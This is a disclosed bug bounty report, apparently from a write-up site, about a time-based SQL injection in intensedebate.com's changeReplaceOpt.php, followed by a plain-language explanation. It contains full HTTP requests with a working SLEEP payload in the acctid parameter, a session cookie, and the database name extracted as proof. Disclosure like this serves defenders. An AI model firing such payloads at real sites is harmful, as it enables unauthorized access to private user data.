[intensedebate.com] SQL Injection Time Based on /changeReplaceOpt.php
The acctid parameter on a PHP endpoint was passed into a database query without proper handling, so a crafted value could make the database pause. An attacker could use the delay to confirm the injection and read data such as the database name.
- Triaged in 21 hours
- Fixed in 9 days
- Paid in 9 days
- Disclosed after 37 days
Summary
Hello, i have found a SQLI Injection Time Based on https://www.intensedebate.com/changeReplaceOpt.php.
The parameter $_GET['acctid'] is vulnerable.
Detection
I have inject a MySQL function sleep(), and it works.
GET /changeReplaceOpt.php?&opt=1&acctid=419523%20AND%20SLEEP(15) HTTP/1.1
Host: www.intensedebate.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://www.intensedebate.com/install-t
Cookie: country_code=FR; login_pref=IDC; idcomments_userid=26745306; idcomments_token=2008983fa4c2434ecc83a8c2bec380d3%7C1607463572
Response time: 15 414 millis.
GET /changeReplaceOpt.php?&opt=1&acctid=419523%20AND%20SLEEP(7) HTTP/1.1
Host: www.intensedebate.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://www.intensedebate.com/install-t
Cookie: country_code=FR; login_pref=IDC; idcomments_userid=26745306; idcomments_token=2008983fa4c2434ecc83a8c2bec380d3%7C1607463572
7 486 millis.
POC
database() : id_commxn2s
Thank you, good bye.
Impact
Full database access holding private user information.
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the acctid value was concatenated into a SQL query without parameterisation or validation.
Impact
An attacker could gain full database access holding private user information.
What the attacker needed
No account needed; network access to the endpoint
How it was found
- Send a request to the endpoint with the acctid parameter set to a normal value plus a database sleep command.
- Observe that the response is delayed by roughly the requested number of seconds.
- Repeat with a different sleep duration to confirm the delay scales with the value.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page often takes a value from the address bar and puts it into a database query. If that value is not handled safely, the person sending the request can add their own database instructions. Here the attacker added a command that makes the database wait, and the slower reply proved the trick worked.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.